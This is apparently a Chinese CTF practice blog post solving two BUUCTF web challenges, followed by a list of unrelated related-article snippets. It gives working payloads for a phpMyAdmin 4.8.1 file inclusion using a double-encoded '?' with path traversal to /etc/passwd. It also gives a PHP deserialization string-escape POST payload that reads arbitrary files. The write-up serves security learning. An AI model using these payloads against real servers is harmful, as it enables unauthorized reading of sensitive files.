[BT]BUUCTF刷题第20天(4.22)

server/2024/9/25 8:35:33/

第20天

Web

[GWCTF 2019]我有一个数据库

在这里插入图片描述
打开网站发现乱码信息(查看其他题解发现显示的是:我有一个数据库,但里面什么也没有~ 不信你找

但也不是明显信息,通过dirsearch扫描得到robots.txt,然后在里面得到了

User-agent: *
Disallow: phpinfo.php

访问phpinfo.php
在这里插入图片描述

不过这里我没有找到什么有用的信息,这里根据题解访问/phpmyadmin

在这里插入图片描述
看到phpMyAdmin版本是4.8.1,这个版本的index.php文件里有一个漏洞可以读取文件,点击这篇文章详细了解原理

然后构造?target=pdf_pages.php%253f/../../../../../../../../etc/passwd

源码内对URL进行了?分割,在分割前,对参数进行了urldecode,且如果?号前面的文件名称在白名单里,就可以绕过,这样我们令target=db_sql.php(db_sql.php是白名单里其中一个),二是在传参使对?进行二次URL编码,即?变为%253f

最后构造完整的URL

http://ad1cc1dc-3db1-48a8-8c40-8957b62c6e8a.node5.buuoj.cn:81/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag

在这里插入图片描述

[安洵杯 2019]easy_serialize_php

在这里插入图片描述
打开网站点击看到源代码

<?php$function = @$_GET['f'];   		//通过GET方法对f参数进行传值function filter($img){          //一个过滤函数,过滤$img参数的php后缀等$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);			//销毁原$_SESSION,如果设置了的话
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);               /* 该函数使用数组键名作为变量名,使用数组键值作为变量值。 即extract($_POST);可以接受Post请求(同时覆盖原值) */if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');     		
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}$serialize_info = filter(serialize($_SESSION));        //先对$_SESSION进行一次序列化,再对序列化结果进行一次过滤if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){      			   //我们要执行到这里$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

根据明显提示构造URL/index.php?f=phpinfo

在这里插入图片描述
在里面发现了预包含文件: d0g3_f1ag.php

php.ini 配置文件中设置了 auto_append_file 指令后,PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式,确保某些代码或功能被一致地包含在所有 PHP 脚本中,而无需单独修改每个脚本,即预包含。

猜测后面需要读取到这个文件,接下来就是构造URL部分的内容:

/index.php?f=show_image

为了执行

echo file_get_contents(base64_decode($userinfo['img']));

接着构造POST方法里面的部分:
这里我们要让$userinfo['img']的值是ZDBnM19mMWFnLnBocA==(d0g3_f1ag.php的Base64编码,传进去后会被解码),这样才能读取d0g3_f1ag.php文件

但是因为这段代码让我们不管设没设置img_path,都会将$_SESSION['img'](也就是后面的$userinfo['img'])改成我们不想要的值

if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');     		
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}

但是$userinfo = unserialize($serialize_info);这句代码又让我们看到了希望,它正好在echo命令的上面一行,我们考虑对$serialize_info进行反序列化后会包含img : ZDBnM19mMWFnLnBocA==

这里来到了$serialize_info = filter(serialize($_SESSION));,它首先会对传进来的$_SESSION进行序列化然后过滤参数

直接给出POST部分的内容

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;};

这里user的值(也就是那8个flag)总长度为24是为了让PHP往后读取合适的24个长度,而function里面的具体值是我们精心构造的

但是经过网站序列化加过滤得到的是:

a:2:{s:4:“user”;s:24:“”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";}

这里主要是s:4:"user";s:24
意思是user这个键的值长度应该是24的,但是可以看到后面跟的是"",长度是0,那么PHP就不认这个,它认";s:8:"function";s:59:"a";s:3:(刚好长度是24),然后左右两边也有引号括着的,那么接着就读img这个键,这个键正常读。后面还有一个dd键是为了满足三个默认参数的要求的

也就是说经过这么一弄,function这个键没了,只有userimg以及dd

然后在读到的d0g3_f1ag.php注释里看到了新的提示文件d0g3_fllllllag

在这里插入图片描述

将以上Payload的对应值改成L2QwZzNfZmxsbGxsbGFn/d0g3_fllllllag对应的Base64编码,注意要加斜杠)
即:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;s:2:“dd”;s:1:“a”;};

在这里插入图片描述


http://www.ppmy.cn/server/17828.html

相关文章

【Linux】如何进行用户之间的切换——指令su

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

学习 Rust 的第九天:如何使用结构体

好的&#xff0c;我已经收到完整的内容了。我会按照规则对其进行翻译&#xff0c;稍等片刻。 大家好&#xff0c; 今天是学习 Rust 的第九天&#xff0c;我们要讨论一个非常重要的概念&#xff0c;即 结构体&#xff08;structs&#xff09;&#xff0c;它可以将相关的数据组…

Stable Diffusion Web UI Windows部署及坑

文章目录 1、准备2、Miniconda安装3、git安装4、安装CUDA4、开始部署遇到的坑 1、准备 官网需要翻墙软件最少6G内存&#xff0c;显卡在2060以上 2、Miniconda安装 这是一个运行python的环境管理工具进入官网点击download下载打开文件一路到 Advanced Options&#xff0c;勾选…

06.JAVAEE之线程4

1.定时器 1.1 定时器是什么 定时器也是软件开发中的一个重要组件. 类似于一个 " 闹钟 ". 达到一个设定的时间之后 , 就执行某个指定好的代码. 约定一个时间,时间到达之后,执行某个代码逻辑, 定时器非常常见,尤其是在进行网络通信的时候, 需要有等待的最大时间&…

【优秀AI项目】每日跟踪 OpenVoice ,AI快站,OpenVoice

持续更新好玩的开源AI项目或AI商业应用体验 一起来玩转AI&#xff01;&#xff01; 1 huggingface 国内镜像站&#xff1a;AI 快站 HUggingface被墙了&#xff0c;emmmmm 所以我之前玩模型的一大感觉就是 下载什么模型之类的太难受了&#xff01;服了 看到一个镜像站——…

【MySQL】创建和管理数据库

1、创建数据库 创建数据库——CREATE DATABASE 数据库名;创建数据库并指定字符集——CREATE DATABASE 数据库名 CHARACTER SET 字符集;判断数据库是否已经存在&#xff0c;不存在则创建数据库——CREATE DATABASE IF NOT EXISTS 数据库名; 2、使用数据库 查看当前所有的数据库…

Kubernetes(k8s)的概念以及使用

k8s的概念&#xff1a; K8s是指Kubernetes&#xff0c;是一个开源的容器编排和管理平台。它最初由Google开发&#xff0c;并于2014年将其开源。Kubernetes旨在简化容器化应用程序的部署、扩展和管理。 Kubernetes提供了一种可靠且可扩展的平台&#xff0c;用于管理容器化应用…

华媒舍:百度竞价排名如何提升点击率

在网络推广中&#xff0c;提升点击率是十分重要的。运用百度搜索引擎广告是一种常用的提升点击率的形式。而百度竞价推广是搜索引擎所提供的一种付费流量方法&#xff0c;根据提高网站在搜索结果中的排名&#xff0c;可以有效提升点击率。下面我们就详细介绍如何运用百度竞价推…